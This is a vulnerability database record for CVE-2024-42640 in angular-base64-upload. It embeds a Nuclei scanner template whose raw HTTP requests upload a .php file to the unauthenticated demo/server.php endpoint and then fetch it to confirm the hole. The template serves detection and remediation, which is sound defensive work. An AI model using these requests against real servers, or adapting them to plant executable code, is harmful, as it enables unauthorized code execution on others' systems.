{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-42640/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-42640/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-42640/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-42640/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-42640/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-42640"},"sightings":{"href":"/api/v1/sightings/cve-2024-42640"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-42640.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-42640\n\ninfo:\n  name: Angular-Base64-Upload - Remote Code Execution\n  author: s4e-io\n  severity: critical\n  description: |\n    angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files and achieve remote code execution on the server.\n  remediation: |\n    Upgrade angular-base64-upload to version 0.1.21 or discontinue use as the product is no longer supported.\n  reference:\n    - https://github.com/rvizx/CVE-2024-42640\n    - https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html\n    - https://github.com/adonespitogo/angular-base64-upload\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-42640\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 10\n    cve-id: CVE-2024-42640\n    cwe-id: CWE-94\n    epss-score: 0.45097\n    epss-percentile: 0.9874\n  metadata:\n    max-request: 4\n  tags: cve,cve2024,angular,rce,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(12))}}\"\n  num: \"{{rand_int(1000000,9999999)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /node_modules/angular-base64-upload/demo/server.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"base64\": \"{{base64(num)}}\", \"filename\": \"{{filename}}.php\"}\n\n      - |\n        POST /bower_components/angular-base64-upload/demo/server.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"base64\": \"{{base64(num)}}\", \"filename\": \"{{filename}}.php\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_1,\"uploads/{{filename}}.php\") || contains(body_2,\"uploads/{{filename}}.php\") '\n          - 'status_code_1 == 200 || status_code_2 == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /node_modules/angular-base64-upload/demo/uploads/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /bower_components/angular-base64-upload/demo/uploads/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_1, \"{{num}}\") || contains(body_2, \"{{num}}\")'\n          - 'status_code_1 == 200 || status_code_2 == 200'\n        condition: and\n# digest: 490a0046304402201912f6a1d4cdf3961055e6d2c4a7768f4f1cc1a077fa165d302180b1e914f4bb0220320efe1989fe3ec977c4cc273e8bb109d7856ee8256d87b2fa4fc2ba3b3d600c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-42640"}